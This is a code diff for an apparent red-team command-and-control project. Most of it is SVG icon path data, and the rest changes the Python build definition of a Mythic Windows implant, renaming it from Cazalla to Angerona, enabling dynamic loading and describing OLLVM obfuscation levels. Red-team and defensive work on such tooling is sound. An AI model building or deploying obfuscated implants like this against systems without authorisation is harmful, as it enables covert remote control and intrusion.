391 -124 919 -249 1325 -17 55 -34 104 -37 110 -7 13 -79 222 -93 268 -6 20
|
||||||
|
-14 37 -19 37 -5 0 -9 9 -9 20 0 11 -4 28 -10 38 -11 20 -69 150 -90 202 -27
|
||||||
|
65 -187 374 -249 478 -33 57 -61 105 -61 107 0 4 -104 164 -169 258 -25 37
|
||||||
|
-50 75 -56 83 -5 9 -18 26 -27 38 -10 11 -49 64 -88 116 -39 52 -82 107 -94
|
||||||
|
121 -13 14 -27 33 -32 41 -5 9 -39 49 -76 90 -37 40 -76 84 -87 98 -78 95
|
||||||
|
-320 339 -441 445 -30 27 -62 56 -70 64 -8 8 -82 68 -165 133 -82 64 -157 123
|
||||||
|
-165 130 -22 19 -324 228 -395 273 -156 99 -496 281 -645 344 -295 126 -300
|
||||||
|
127 -311 91 -4 -14 -21 -70 -38 -124 -17 -55 -30 -100 -28 -101 1 0 13 -6 27
|
||||||
|
-12 14 -6 86 -37 160 -68 74 -30 143 -60 153 -65 9 -6 25 -14 35 -18 70 -34
|
||||||
|
314 -163 342 -181 14 -9 34 -21 45 -28 133 -78 365 -228 375 -243 3 -3 12 -9
|
||||||
|
20 -12 22 -8 251 -189 393 -309 159 -135 241 -213 400 -384 216 -232 241 -261
|
||||||
|
388 -455 35 -47 67 -86 72 -88 4 -2 7 -8 7 -13 0 -6 17 -33 38 -62 60 -81 112
|
||||||
|
-156 112 -162 0 -5 92 -155 122 -198 53 -77 268 -507 268 -536 0 -6 5 -11 10
|
||||||
|
-11 6 0 10 -7 10 -15 0 -8 13 -42 29 -77 38 -80 141 -348 141 -365 0 -7 4 -21
|
||||||
|
10 -31 32 -56 163 -563 204 -792 132 -729 100 -1594 -84 -2280 -42 -156 -94
|
||||||
|
-333 -118 -400 -79 -220 -274 -659 -350 -787 -16 -26 -53 -91 -82 -143 -30
|
||||||
|
-52 -79 -133 -109 -180 -31 -47 -58 -90 -61 -95 -7 -15 -151 -218 -163 -230
|
||||||
|
-7 -7 -8 -5 -4 6 3 9 12 66 21 125 57 417 84 952 52 1059 -44 147 -200 265
|
||||||
|
-350 265 l-54 0 -7 48 c-10 68 -51 146 -109 206 -41 44 -64 58 -119 76 -59 19
|
||||||
|
-79 21 -145 14 -43 -4 -81 -8 -87 -9 -5 0 -18 27 -30 60 -25 73 -30 82 -77
|
||||||
|
133 -71 78 -161 117 -273 116 -70 0 -134 -25 -199 -79 -24 -19 -45 -35 -47
|
||||||
|
-35 -6 0 23 472 41 675 36 400 38 521 8 585 -9 19 -19 45 -23 57 -3 12 -22 38
|
||||||
|
-41 57 -78 78 -195 104 -297 66 -119 -45 -174 -111 -201 -242 -19 -92 -116
|
||||||
|
-789 -132 -948 -3 -36 -19 -153 -35 -260 -55 -365 -60 -395 -70 -470 -5 -41
|
||||||
|
-16 -127 -24 -190 -44 -354 -53 -402 -120 -602 -83 -250 -105 -340 -112 -459
|
||||||
|
-12 -209 50 -449 234 -919 36 -91 74 -192 85 -225 26 -76 34 -218 18 -315 -6
|
||||||
|
-41 -15 -100 -20 -130 -12 -73 -76 -364 -93 -418 -14 -47 -11 -45 -177 -112
|
||||||
|
-30 -12 -75 -30 -99 -41 -33 -15 -46 -17 -57 -8 -7 6 -55 93 -107 192 -52 100
|
||||||
|
-112 212 -135 250 -23 37 -59 95 -81 130 -95 154 -450 630 -543 729 -7 7 -28
|
||||||
|
31 -47 53 -120 142 -285 312 -515 534 -151 143 -160 154 -158 187 2 19 7 46
|
||||||
|
13 61 41 109 140 486 154 588 3 28 10 66 16 85 5 19 18 86 30 149 43 230 118
|
||||||
|
355 248 415 57 26 186 28 485 7 219 -15 359 -11 450 14 163 44 297 154 377
|
||||||
|
310 58 115 75 222 65 420 -5 114 -4 140 12 193 11 33 28 73 39 89 87 126 104
|
||||||
|
219 62 335 l-24 67 43 42 c43 41 86 119 95 173 5 32 -11 103 -42 188 -23 64
|
||||||
|
-27 124 -10 162 14 30 62 51 154 67 128 22 241 84 282 154 74 127 72 215 -11
|
||||||
|
383 -14 29 -46 96 -70 150 -25 54 -102 215 -171 358 -144 293 -187 394 -217
|
||||||
|
509 -23 85 -23 81 -18 480 2 190 0 242 -14 300 -10 39 -22 90 -27 114 -18 85
|
||||||
|
-58 238 -98 371 -23 74 -41 148 -41 165 0 17 11 47 25 68 37 54 63 119 80 201
|
||||||
|
43 206 -23 441 -172 613 -29 33 -53 64 -53 68 0 4 31 41 69 83 83 93 159 215
|
||||||
|
200 324 47 123 48 126 14 135 -60 17 -323 8 -446 -16 -65 -12 -123 -21 -128
|
||||||
|
-19 -6 2 -1 14 10 27 26 30 134 222 156 276 9 22 20 49 25 60 24 52 42 103 50
|
||||||
|
140 5 22 16 69 24 105 8 36 15 84 16 108 l0 42 -78 0 c-143 0 -393 -43 -548
|
||||||
|
-95 -124 -41 -333 -147 -420 -213 -165 -127 -301 -275 -389 -426 -7 -12 -10
|
||||||
|
38 -11 166 -1 159 -9 246 -31 322 -8 28 -80 16 -188 -32 -179 -78 -265 -133
|
||||||
|
-433 -274 -63 -53 -74 -55 -172 -32 -149 36 -421 65 -575 63 -312 -5 -507 -35
|
||||||
|
-775 -121 -245 -78 -360 -128 -600 -261 -157 -87 -404 -279 -560 -436 -108
|
||||||
|
-108 -230 -246 -230 -259 0 -4 -10 -18 -23 -32 -29 -31 -166 -237 -206 -310
|
||||||
|
-152 -271 -263 -602 -306 -903 -3 -27 -8 -58 -10 -69 -5 -25 -20 -267 -19
|
||||||
|
-293 1 -11 4 -69 8 -130 3 -60 9 -130 12 -155 9 -70 44 -233 53 -245 13 -17
|
||||||
|
21 -45 13 -45 -4 0 -23 15 -42 33 -35 32 -114 75 -181 96 -42 13 -224 15 -265
|
||||||
|
2 -16 -5 -55 -17 -87 -26 -117 -35 -273 -144 -357 -251 -103 -129 -178 -344
|
||||||
|
-165 -469 13 -122 15 -124 119 -69 157 84 297 85 454 5 61 -31 181 -153 216
|
||||||
|
-218 23 -43 137 -159 176 -178 19 -10 38 -23 42 -29 11 -17 9 -85 -3 -107 -9
|
||||||
|
-18 -17 -19 -52 -14 -99 17 -189 93 -318 271 -109 150 -231 202 -365 157 -217
|
||||||
|
-72 -347 -376 -290 -676 19 -97 65 -211 117 -290 65 -97 189 -209 286 -258
|
||||||
|
191 -94 445 -90 646 13 99 50 249 189 288 267 8 14 23 40 36 56 35 49 65 136
|
||||||
|
60 175 -2 19 -21 63 -41 97 -83 141 -149 372 -145 503 4 103 28 187 97 330 26
|
||||||
|
54 109 150 99 113 -49 -165 -58 -242 -46 -395 17 -225 92 -425 235 -628 116
|
||||||
|
-166 343 -329 521 -375 31 -8 60 -18 64 -22 4 -5 9 -35 10 -68 l3 -60 -55 1
|
||||||
|
c-58 1 -184 39 -255 77 -23 12 -65 35 -95 51 -55 29 -130 87 -184 142 -32 33
|
||||||
|
-84 69 -89 63 -1 -2 -10 -24 -20 -48 -30 -77 -162 -252 -231 -307 -21 -16 -49
|
||||||
|
-39 -64 -52 -14 -12 -55 -37 -91 -55 -36 -17 -67 -35 -70 -38 -9 -12 -185 -58
|
||||||
|
-227 -61 -35 -1 -43 -6 -43 -21 0 -33 69 -152 129 -223 101 -121 185 -179 322
|
||||||
|
-224 109 -36 270 -49 384 -32 215 34 416 154 543 324 l47 63 8 -95 c16 -197
|
||||||
|
-26 -473 -106 -700 -119 -340 -208 -514 -377 -737 -81 -107 -310 -341 -375
|
||||||
|
-382 -22 -14 -56 -38 -75 -52 -19 -15 -71 -46 -115 -69 -87 -47 -155 -92 -224
|
||||||
|
-149 -25 -20 -62 -48 -83 -62 -20 -14 -64 -48 -95 -76 -32 -28 -79 -68 -106
|
||||||
|
-89 -26 -22 -103 -85 -172 -141 l-124 -103 -64 83 c-34 45 -94 129 -131 187
|
||||||
|
-38 58 -82 124 -97 147 -16 23 -29 43 -29 46 0 2 -22 41 -50 87 -27 45 -63
|
||||||
|
110 -80 144 -17 33 -35 68 -40 76 -25 40 -166 336 -200 420 -104 257 -162 417
|
||||||
|
-204 565 -93 326 -137 552 -182 935 -21 184 -30 714 -15 907 13 154 44 415 62
|
||||||
|
518 47 255 85 428 136 605 24 87 93 303 102 325 9 21 51 134 81 220 18 49 100
|
||||||
|
238 120 272 5 10 35 72 66 138 31 66 64 131 74 145 9 14 34 59 56 100 21 41
|
||||||
|
47 84 56 94 10 11 18 23 18 28 0 4 13 27 29 50 16 24 76 115 135 203 128 193
|
||||||
|
154 228 231 324 33 41 71 88 84 105 26 33 177 203 221 247 165 172 265 269
|
||||||
|
366 358 142 124 271 231 279 231 3 0 35 23 71 51 189 146 624 415 834 514 30
|
||||||
|
14 62 30 70 34 8 5 26 13 40 19 14 6 50 22 80 35 30 14 79 33 108 43 28 10 52
|
||||||
|
22 52 26 0 5 6 8 13 8 7 0 79 25 159 55 193 72 558 176 753 215 33 7 80 16
|
||||||
|
105 21 248 50 735 99 985 99 156 0 372 -14 593 -37 160 -16 162 -16 185 3 36
|
||||||
|
33 117 80 202 119 142 65 134 58 84 72 -86 25 -237 50 -479 78 -217 26 -822
|
||||||
|
29 -1075 5z m2229 -298 c8 -13 -58 -190 -100 -269 -103 -190 -227 -335 -378
|
||||||
|
-442 -148 -104 -225 -144 -367 -189 -84 -27 -246 -59 -254 -50 -3 3 122 111
|
||||||
|
265 228 41 34 86 72 100 83 14 12 52 44 85 72 150 125 268 245 242 245 -53 -1
|
||||||
|
-390 -224 -637 -423 -8 -7 -41 -34 -73 -61 -32 -27 -59 -47 -62 -45 -7 8 45
|
||||||
|
142 82 209 141 255 394 456 718 568 62 21 209 55 305 71 30 5 58 9 62 10 4 0
|
||||||
|
9 -3 12 -7z m-1408 -308 c18 -124 -36 -432 -106 -597 -80 -186 -213 -355 -395
|
||||||
|
-498 -65 -51 -175 -116 -175 -103 0 3 19 39 43 81 23 42 59 108 80 147 21 39
|
||||||
|
53 96 72 126 92 153 225 453 205 465 -8 5 -67 -61 -110 -125 -13 -19 -27 -37
|
||||||
|
-31 -40 -12 -9 -125 -184 -216 -335 -50 -82 -107 -175 -128 -205 l-37 -55 5
|
||||||
|
135 c10 242 89 446 253 651 74 93 135 151 244 232 96 72 254 165 282 167 4 0
|
||||||
|
10 -21 14 -46z m1684 -407 c0 -25 -156 -228 -196 -253 -26 -18 -22 -19 -120
|
||||||
|
51 -39 28 -101 64 -138 79 -37 16 -64 32 -59 37 13 13 221 66 308 78 125 18
|
||||||
|
205 21 205 8z m-3046 -241 c9 -37 26 -250 26 -335 0 -96 -33 -287 -66 -381
|
||||||
|
-56 -161 -121 -277 -227 -405 -65 -78 -194 -201 -202 -193 -5 5 47 159 98 294
|
||||||
|
67 176 139 401 150 469 3 17 8 47 12 68 6 30 5 36 -6 32 -8 -3 -19 -15 -25
|
||||||
|
-28 -6 -12 -38 -76 -72 -142 -67 -133 -121 -254 -159 -360 -14 -38 -33 -88
|
||||||
|
-43 -110 -17 -40 -63 -157 -73 -185 -2 -8 -8 3 -11 25 -4 22 -11 51 -15 65 -4
|
||||||
|
14 -9 84 -10 156 -3 173 18 288 76 424 38 88 97 198 124 232 16 20 29 39 29
|
||||||
|
43 0 16 171 192 290 298 71 62 95 70 104 33z m2168 -271 c146 -37 253 -74 259
|
||||||
|
-90 7 -21 -164 -151 -341 -259 -94 -58 -292 -126 -425 -146 -85 -13 -323 -9
|
||||||
|
-431 8 -33 5 -81 18 -106 30 -25 11 -60 23 -77 27 -42 9 -39 22 7 28 35 4 228
|
||||||
|
45 317 67 22 5 114 26 205 45 189 42 271 63 284 76 6 5 20 9 32 9 13 0 26 5
|
||||||
|
30 11 5 8 -48 10 -192 6 -155 -3 -232 -10 -349 -31 -175 -31 -352 -64 -380
|
||||||
|
-72 -20 -5 -16 -1 45 50 97 78 260 172 370 211 232 84 501 94 752 30z m-1819
|
||||||
|
-95 c63 -24 82 -51 82 -119 0 -54 -30 -102 -75 -123 -20 -8 -31 -22 -36 -43
|
||||||
|
-8 -40 -85 -205 -96 -205 -4 0 -8 -6 -8 -13 0 -16 -124 -138 -159 -157 l-24
|
||||||
|
-12 24 32 c25 33 26 35 73 115 16 28 32 52 35 55 7 6 32 87 52 166 11 48 11
|
||||||
|
53 -15 96 -30 52 -36 130 -10 166 11 16 79 58 101 62 1 0 26 -9 56 -20z
|
||||||
|
m-1294 -405 c39 -172 52 -451 30 -612 -32 -238 -134 -442 -308 -623 -42 -44
|
||||||
|
-80 -80 -83 -80 -3 0 0 21 8 48 17 55 68 243 96 352 10 41 25 100 33 130 22
|
||||||
|
84 55 268 55 306 0 60 -25 41 -56 -41 -10 -27 -20 -52 -23 -55 -8 -7 -28 -60
|
||||||
|
-68 -185 -19 -60 -39 -119 -44 -130 -5 -11 -23 -67 -40 -125 -16 -58 -41 -136
|
||||||
|
-55 -173 -13 -38 -24 -77 -24 -88 0 -45 -19 -13 -36 64 -14 63 -18 124 -19
|
||||||
|
262 0 155 3 194 24 280 13 55 27 105 31 110 4 6 13 28 20 50 40 122 156 291
|
||||||
|
310 448 63 64 120 117 126 117 6 0 16 -25 23 -55z m3735 -93 c38 -81 73 -156
|
||||||
|
77 -167 22 -54 90 -249 109 -315 12 -41 26 -86 30 -100 18 -53 59 -240 76
|
||||||
|
-345 22 -129 23 -337 5 -468 -11 -70 -11 -105 -1 -170 25 -170 54 -250 187
|
||||||
|
-527 88 -183 162 -332 172 -350 9 -14 31 -62 116 -245 18 -38 41 -88 51 -110
|
||||||
|
11 -23 19 -63 19 -93 0 -48 -3 -57 -30 -79 -58 -48 -107 -63 -245 -74 -123
|
||||||
|
-10 -178 -22 -285 -63 -68 -26 -94 -21 -111 19 -8 19 -17 63 -21 98 -7 72 -14
|
||||||
|
83 -53 92 -59 13 -91 -19 -110 -111 -9 -41 -7 -61 9 -117 15 -50 17 -69 8 -72
|
||||||
|
-7 -2 -104 -11 -217 -20 -113 -8 -252 -20 -310 -25 -58 -6 -184 -17 -280 -25
|
||||||
|
-96 -9 -218 -20 -270 -25 -52 -5 -183 -16 -290 -25 -107 -8 -240 -20 -295 -25
|
||||||
|
-55 -5 -203 -17 -330 -25 -126 -9 -273 -20 -325 -25 -116 -12 -325 -29 -440
|
||||||
|
-35 -47 -3 -104 -8 -127 -10 -24 -3 -43 -3 -43 -1 0 1 7 18 17 36 9 19 17 59
|
||||||
|
17 94 1 60 1 61 -35 79 -50 24 -78 11 -111 -50 -61 -112 -138 -143 -271 -108
|
||||||
|
-112 29 -209 113 -373 320 -21 28 -44 55 -51 60 -30 25 -121 176 -133 221 -7
|
||||||
|
27 -17 53 -21 58 -14 15 3 70 30 99 53 59 91 70 267 78 88 4 169 6 180 4 10
|
||||||
|
-2 24 -4 29 -4 7 -1 11 -42 11 -113 -1 -108 1 -115 30 -168 72 -127 117 -172
|
||||||
|
180 -178 25 -3 37 3 58 28 14 17 26 38 26 46 0 22 -29 74 -61 112 -53 61 -73
|
||||||
|
111 -73 184 1 98 10 107 140 142 60 17 116 33 124 37 8 4 41 18 74 30 66 25
|
||||||
|
222 116 279 163 51 41 217 208 217 218 0 4 15 29 34 55 19 27 50 84 71 128 47
|
||||||
|
102 46 100 97 230 46 119 90 191 122 201 11 4 24 10 30 15 6 5 36 26 66 46 70
|
||||||
|
46 183 138 237 192 48 49 103 129 151 221 39 73 52 86 101 95 19 4 79 24 133
|
||||||
|
45 150 58 279 164 351 287 60 104 72 122 100 157 41 51 73 68 247 130 85 31
|
||||||
|
164 60 175 65 11 6 40 18 65 29 98 41 216 146 277 244 20 32 39 58 42 57 3 0
|
||||||
|
37 -66 75 -147z m-1804 -137 c145 -24 186 -36 413 -119 53 -20 74 -36 45 -36
|
||||||
|
-7 0 -26 -12 -43 -26 -85 -74 -224 -153 -410 -235 -214 -93 -572 -104 -810
|
||||||
|
-24 -89 29 -165 64 -165 75 0 4 21 10 48 13 131 15 394 49 447 57 33 5 74 12
|
||||||
|
90 14 137 21 276 50 301 64 17 10 16 11 -11 19 -58 16 -480 6 -674 -16 -234
|
||||||
|
-27 -234 -27 -196 -1 161 109 170 114 290 165 17 7 57 20 90 29 194 53 352 59
|
||||||
|
585 21z m-2842 -412 c12 -32 38 -120 57 -196 31 -121 35 -155 36 -275 2 -172
|
||||||
|
-6 -236 -48 -377 -34 -116 -129 -310 -174 -358 -11 -12 -27 -33 -34 -47 -7
|
||||||
|
-14 -32 -43 -56 -65 -38 -36 -41 -38 -35 -15 8 29 12 51 61 325 36 201 49 284
|
||||||
|
59 385 18 191 5 216 -44 85 -10 -25 -35 -115 -100 -355 -25 -93 -71 -303 -82
|
||||||
|
-373 -6 -42 -15 -74 -20 -69 -11 11 -57 165 -70 232 -37 201 -8 484 62 612 6
|
||||||
|
10 10 26 10 35 0 10 7 29 14 43 8 14 23 43 34 65 17 37 87 146 119 185 6 8 29
|
||||||
|
38 50 66 83 110 118 153 128 154 6 0 21 -26 33 -57z m1645 23 c58 -25 77 -51
|
||||||
|
77 -106 0 -27 -5 -61 -12 -75 -14 -31 -75 -65 -115 -65 -31 0 -87 31 -112 61
|
||||||
|
-15 18 -19 19 -96 5 -100 -19 -123 -26 -214 -65 -40 -18 -74 -31 -76 -29 -5 5
|
||||||
|
137 108 186 136 24 13 75 32 113 42 57 15 76 26 100 55 19 22 45 40 66 45 49
|
||||||
|
11 47 11 83 -4z m242 -401 c142 -24 366 -88 365 -104 -1 -3 -14 -15 -30 -26
|
||||||
|
-16 -11 -55 -38 -87 -60 -32 -22 -59 -43 -61 -47 -2 -5 -10 -8 -18 -8 -8 0
|
||||||
|
-14 -3 -14 -7 0 -13 -94 -69 -250 -150 -70 -36 -195 -75 -300 -93 -85 -15
|
||||||
|
-287 -16 -381 -1 -79 13 -309 80 -309 91 0 3 62 17 138 30 269 45 298 50 367
|
||||||
|
64 80 16 310 68 373 85 180 49 -248 46 -553 -3 -55 -9 -125 -21 -155 -26 -30
|
||||||
|
-5 -82 -12 -115 -16 l-59 -6 59 47 c196 152 350 218 585 249 67 9 356 -3 445
|
||||||
|
-19z m-1519 -421 c33 -34 38 -51 34 -104 -6 -76 -107 -134 -173 -99 -53 28
|
||||||
|
-71 58 -71 116 0 51 3 58 37 89 32 29 44 34 88 34 46 0 55 -4 85 -36z m586
|
||||||
|
-313 c93 -16 370 -93 388 -108 8 -8 -81 -80 -203 -165 -91 -64 -265 -156 -354
|
||||||
|
-187 -254 -89 -492 -91 -773 -6 -72 22 -78 27 -49 37 30 12 347 80 437 95 18
|
||||||
|
3 35 9 38 14 3 5 16 9 29 9 23 0 335 87 344 96 26 26 -144 29 -319 5 -261 -35
|
||||||
|
-315 -45 -458 -77 -62 -15 -115 -24 -118 -21 -7 7 157 137 174 137 6 0 12 4
|
||||||
|
12 9 0 5 8 11 18 14 9 3 33 15 52 26 215 124 505 169 782 122z m4732 -1815
|
||||||
|
c18 -7 43 -28 56 -46 22 -31 23 -36 16 -184 -3 -83 -11 -205 -16 -271 -11
|
||||||
|
-140 -25 -361 -41 -635 -6 -107 -17 -255 -24 -328 -12 -122 -16 -138 -47 -188
|
||||||
|
-45 -75 -358 -391 -376 -380 -5 3 2 76 14 163 12 87 25 183 29 213 8 68 15
|
||||||
|
111 54 380 17 118 56 393 87 610 31 217 61 423 66 458 5 34 17 88 26 120 16
|
||||||
|
51 22 59 62 80 52 26 51 26 94 8z m-4214 -619 c121 -40 217 -67 600 -169 63
|
||||||
|
-16 158 -38 210 -48 52 -10 142 -29 200 -43 58 -13 141 -32 185 -40 44 -9 112
|
||||||
|
-23 150 -31 119 -25 789 -121 1025 -146 278 -31 334 -36 435 -45 59 -5 517
|
||||||
|
-35 536 -35 27 0 7 -145 -29 -217 -31 -59 -107 -139 -165 -172 -106 -60 -231
|
||||||
|
-78 -442 -62 -186 15 -399 49 -560 92 -22 6 -56 14 -75 18 -183 42 -500 143
|
||||||
|
-567 180 -10 6 -38 17 -63 25 -43 14 -98 37 -200 83 -25 11 -52 23 -60 27 -8
|
||||||
|
3 -22 10 -30 16 -8 5 -42 21 -74 35 -55 24 -122 65 -235 144 -50 35 -89 39
|
||||||
|
-120 14 -23 -20 -30 -68 -14 -98 6 -11 33 -47 60 -81 26 -33 59 -76 73 -94 59
|
||||||
|
-80 183 -223 281 -325 58 -60 136 -144 174 -185 37 -41 141 -146 229 -234 89
|
||||||
|
-87 168 -169 177 -183 14 -21 14 -33 4 -96 -40 -235 -67 -351 -130 -562 -42
|
||||||
|
-139 -83 -287 -122 -435 -32 -121 -36 -152 -41 -297 -2 -90 -1 -183 3 -209 12
|
||||||
|
-84 80 -120 139 -73 26 20 26 21 27 162 1 78 4 166 7 196 l7 54 86 -114 c118
|
||||||
|
-156 117 -154 207 -329 84 -163 136 -286 183 -435 30 -97 53 -220 44 -236 -4
|
||||||
|
-5 -57 -9 -119 -9 -100 0 -131 5 -287 44 -168 43 -280 77 -384 117 -269 102
|
||||||
|
-405 157 -465 188 -19 10 -46 22 -60 26 -14 4 -52 20 -85 35 -33 15 -116 53
|
||||||
|
-185 84 -69 32 -145 68 -170 80 -25 13 -56 27 -69 31 -35 11 -355 170 -496
|
||||||
|
247 -66 36 -130 68 -142 72 -31 10 -71 61 -79 101 -13 70 -123 163 -219 186
|
||||||
|
-27 6 -84 15 -125 19 -75 7 -75 7 -135 66 -68 66 -229 204 -239 204 -3 0 -32
|
||||||
|
20 -63 44 -123 93 -263 166 -466 245 -56 22 -110 42 -121 45 -16 5 -10 12 30
|
||||||
|
38 60 40 299 278 375 373 162 206 277 403 355 610 19 50 37 97 41 105 4 8 23
|
||||||
|
74 44 145 41 144 40 145 58 -20 27 -257 -5 -440 -113 -655 -68 -135 -70 -150
|
||||||
|
-18 -150 20 0 53 5 72 10 19 6 67 17 105 25 151 32 423 129 515 185 180 109
|
||||||
|
337 326 392 541 28 114 22 366 -12 474 -38 121 -110 271 -192 403 -32 51 -58
|
||||||
|
95 -58 96 0 7 67 -12 200 -57z m4707 -725 c90 -34 134 -100 134 -203 1 -57
|
||||||
|
-12 -110 -76 -314 -19 -60 -41 -139 -49 -175 -24 -108 -85 -311 -113 -373 -47
|
||||||
|
-105 -123 -143 -203 -102 -36 19 -38 41 -6 86 30 42 147 244 164 283 22 49 42
|
||||||
|
164 42 236 0 76 -27 173 -65 235 -57 94 -68 124 -61 173 7 52 43 113 81 138
|
||||||
|
21 14 64 28 97 33 4 1 29 -7 55 -17z m473 -295 c58 -16 65 -21 101 -69 26 -37
|
||||||
|
29 -49 29 -115 0 -45 -6 -85 -14 -101 -20 -37 -49 -105 -78 -182 -76 -198
|
||||||
|
-144 -378 -180 -480 -49 -138 -57 -151 -116 -190 -64 -42 -110 -41 -159 4 -34
|
||||||
|
31 -37 39 -41 97 -3 58 5 89 76 314 44 138 83 266 86 285 4 19 33 111 64 204
|
||||||
|
67 200 94 237 177 244 6 1 30 -4 55 -11z m-780 -142 c31 -62 33 -68 28 -152
|
||||||
|
-9 -140 -43 -208 -217 -435 -101 -131 -131 -217 -131 -384 0 -96 18 -121 155
|
||||||
|
-212 174 -115 258 -207 325 -356 52 -114 68 -178 90 -355 12 -100 26 -121 82
|
||||||
|
-121 28 0 46 7 63 25 22 21 25 33 25 96 0 152 -80 419 -163 547 -79 120 -110
|
||||||
|
149 -337 316 -30 23 -58 45 -62 51 -9 12 -9 91 1 124 6 22 7 22 21 7 28 -34
|
||||||
|
104 -64 182 -71 l77 -7 15 -52 c49 -166 221 -254 395 -202 l45 13 52 -53 c67
|
||||||
|
-66 128 -89 225 -82 82 6 139 36 198 105 37 44 145 248 201 381 12 28 26 52
|
||||||
|
31 52 5 0 6 -44 3 -97 -24 -477 -92 -840 -182 -979 -36 -54 -341 -372 -457
|
||||||
|
-475 -193 -172 -511 -420 -652 -511 -62 -40 -190 -119 -231 -143 -83 -49 -144
|
||||||
|
-82 -247 -134 -141 -72 -137 -75 -105 75 60 283 63 307 64 464 0 181 -8 221
|
||||||
|
-89 410 -67 159 -196 543 -230 686 -36 152 -36 246 3 394 28 106 51 176 148
|
||||||
|
457 l36 102 96 92 c179 172 407 404 446 457 46 60 49 59 96 -33z m1241 -231
|
||||||
|
c28 -17 48 -41 65 -77 21 -47 24 -65 24 -189 0 -145 -3 -154 -44 -123 -11 8
|
||||||
|
-36 15 -56 15 -48 0 -83 -37 -110 -115 -28 -80 -157 -339 -187 -375 -33 -39
|
||||||
|
-85 -56 -124 -40 -31 13 -59 55 -59 87 0 37 56 205 135 408 45 116 88 228 95
|
||||||
|
250 20 66 70 146 104 166 45 27 107 25 157 -7z m-7376 -1523 c194 -33 349 -79
|
||||||
|
485 -142 135 -64 174 -93 234 -177 57 -81 91 -118 128 -136 48 -24 93 -105
|
||||||
|
208 -371 81 -186 280 -752 280 -795 0 -19 -4 -18 -87 11 -194 69 -443 190
|
||||||
|
-788 383 -211 119 -563 377 -831 607 -189 164 -590 572 -578 590 5 8 159 45
|
||||||
|
249 59 33 5 164 7 290 5 200 -3 254 -8 410 -34z m1533 -540 c24 -14 51 -30 61
|
||||||
|
-36 83 -48 369 -244 481 -329 36 -27 81 -62 100 -76 85 -65 407 -301 497 -365
|
||||||
|
24 -17 58 -41 77 -55 201 -149 590 -407 723 -480 62 -34 115 -65 117 -69 7
|
||||||
|
-10 -221 -21 -443 -21 -159 0 -497 19 -611 35 -117 16 -103 5 -181 133 -240
|
||||||
|
390 -562 845 -861 1220 -43 53 -78 100 -78 105 0 5 17 -1 38 -14 20 -12 56
|
||||||
|
-34 80 -48z m-338 -11 c39 -39 116 -128 172 -197 57 -70 131 -161 165 -202 71
|
||||||
|
-87 330 -436 390 -526 82 -122 203 -317 229 -368 l15 -28 -38 6 c-79 14 -401
|
||||||
|
97 -491 128 -107 36 -99 26 -139 177 -51 196 -204 634 -288 825 -7 17 -27 64
|
||||||
|
-43 105 -17 41 -38 92 -46 113 -10 23 -12 37 -6 37 6 0 42 -32 80 -70z"/>
|
||||||
|
<path d="M11505 13063 c-162 -12 -401 -74 -511 -131 -22 -11 -84 -42 -139 -69
|
||||||
|
-55 -26 -102 -50 -105 -54 -3 -3 -23 -13 -45 -24 -40 -18 -143 -91 -157 -110
|
||||||
|
-4 -5 -8 -28 -8 -51 0 -32 5 -43 23 -53 55 -29 87 -18 270 88 49 28 92 51 97
|
||||||
|
51 4 0 49 20 99 45 50 25 97 45 104 45 7 0 17 4 23 8 13 13 170 59 238 71 75
|
||||||
|
14 267 14 337 1 30 -6 96 -30 147 -55 139 -67 202 -58 202 28 0 46 -27 76
|
||||||
|
-112 121 -129 68 -303 102 -463 89z"/>
|
||||||
|
<path d="M11535 12619 c-80 -19 -173 -53 -313 -116 -226 -102 -350 -182 -336
|
||||||
|
-217 7 -17 212 -115 329 -156 110 -39 251 -69 327 -70 80 0 102 21 127 125 11
|
||||||
|
44 24 120 30 170 9 86 11 91 45 120 52 44 50 116 -4 145 -23 12 -150 12 -205
|
||||||
|
-1z"/>
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 23 KiB |
+86
-19
@@ -7,6 +7,7 @@ from mythic_container.MythicRPC import *
|
|||||||
import json
|
import json
|
||||||
from distutils.dir_util import copy_tree,remove_tree
|
from distutils.dir_util import copy_tree,remove_tree
|
||||||
import asyncio
|
import asyncio
|
||||||
|
import hashlib
|
||||||
|
|
||||||
import string, random, os, subprocess
|
import string, random, os, subprocess
|
||||||
|
|
||||||
@@ -14,18 +15,18 @@ def generate_random_string(length=100):
|
|||||||
chars = string.ascii_letters + string.digits # a-zA-Z0-9
|
chars = string.ascii_letters + string.digits # a-zA-Z0-9
|
||||||
return ''.join(random.choices(chars, k=length))
|
return ''.join(random.choices(chars, k=length))
|
||||||
|
|
||||||
class CazallaAgent(PayloadType):
|
class AngeronaAgent(PayloadType):
|
||||||
name = "Cazalla"
|
name = "Angerona"
|
||||||
file_extension = "exe"
|
file_extension = "exe"
|
||||||
author = "OFSTeam"
|
author = "OFSTeam"
|
||||||
supported_os = [SupportedOS.Windows]
|
supported_os = [SupportedOS.Windows]
|
||||||
wrapper = False
|
wrapper = False
|
||||||
wrapped_payloads = []
|
wrapped_payloads = []
|
||||||
note = """C implant Developed by the Kaseya OFSTeam"""
|
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||||
supports_dynamic_loading = False
|
supports_dynamic_loading = True
|
||||||
c2_profiles = ["http"]
|
c2_profiles = ["http"]
|
||||||
mythic_encrypts = True
|
mythic_encrypts = True
|
||||||
translation_container = "cazalla_translator"
|
translation_container = "angerona_translator"
|
||||||
build_parameters = [
|
build_parameters = [
|
||||||
BuildParameter(
|
BuildParameter(
|
||||||
name="output",
|
name="output",
|
||||||
@@ -51,13 +52,13 @@ class CazallaAgent(PayloadType):
|
|||||||
BuildParameter(
|
BuildParameter(
|
||||||
name="ollvm_compilation",
|
name="ollvm_compilation",
|
||||||
parameter_type=BuildParameterType.ChooseOne,
|
parameter_type=BuildParameterType.ChooseOne,
|
||||||
description="OLLVM obfuscation",
|
description="OLLVM obfuscation level (0=None, 1=Light, 2=Heavy)",
|
||||||
choices=["0","1","2"],
|
choices=["0","1","2"],
|
||||||
default_value="0"
|
default_value="0"
|
||||||
)
|
)
|
||||||
]
|
]
|
||||||
agent_path = pathlib.Path(".") / "cazalla"
|
agent_path = pathlib.Path(".") / "angerona"
|
||||||
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
agent_icon_path = agent_path / "agent_functions" / "angerona.svg"
|
||||||
agent_code_path = agent_path / "agent_code"
|
agent_code_path = agent_path / "agent_code"
|
||||||
|
|
||||||
build_steps = [
|
build_steps = [
|
||||||
@@ -198,6 +199,60 @@ class CazallaAgent(PayloadType):
|
|||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
|
|
||||||
